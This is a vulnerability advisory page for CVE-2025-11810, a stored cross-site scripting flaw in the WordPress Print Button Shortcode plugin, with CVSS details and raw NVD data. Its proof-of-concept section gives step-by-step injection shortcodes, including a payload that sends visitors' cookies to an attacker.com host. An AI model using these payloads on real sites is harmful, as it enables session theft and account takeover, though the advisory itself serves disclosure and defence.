Security Vulnerability Report
中文
CVE-2025-11810 CVSS 6.4 MEDIUM

CVE-2025-11810

Published: 2025-10-22 09:15:33
Last Modified: 2026-04-15 00:35:42

Description

The Print Button Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'print-button' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on the 'target' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

print-button-shortcode <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11810: Stored XSS via 'target' attribute in Print Button Shortcode Vulnerable plugin: print-button-shortcode <= 1.0.1 Required privilege: Contributor or above --> <!-- Step 1: Attacker logs in with contributor-level WordPress account --> <!-- Step 2: Attacker creates a new post and inserts the following malicious shortcode --> [print-button target='" onmouseover="alert(document.cookie)"'] <!-- Or a more dangerous payload targeting admin sessions --> [print-button target='" onmouseover="var s=new Image();s.src=\'https://attacker.com/steal?c=\'+document.cookie;"'] <!-- Step 3: Attacker publishes the post and waits for victims to visit --> <!-- Step 4: When any user (including admin) visits the page and hovers over the print button, the XSS fires --> <!-- Direct HTML injection example for testing --> <a href="#" target="" onmouseover="alert('XSS-'+document.cookie)"">Print this page</a>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11810", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:32.870", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Print Button Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'print-button' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on the 'target' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/print-button-shortcode/tags/1.0.1/print-button-shortcode.php#L46", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/print-button-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3b3f0f80-0004-4373-b0a7-92f2d047415d?source=cve", "source": "[email protected]"}]}}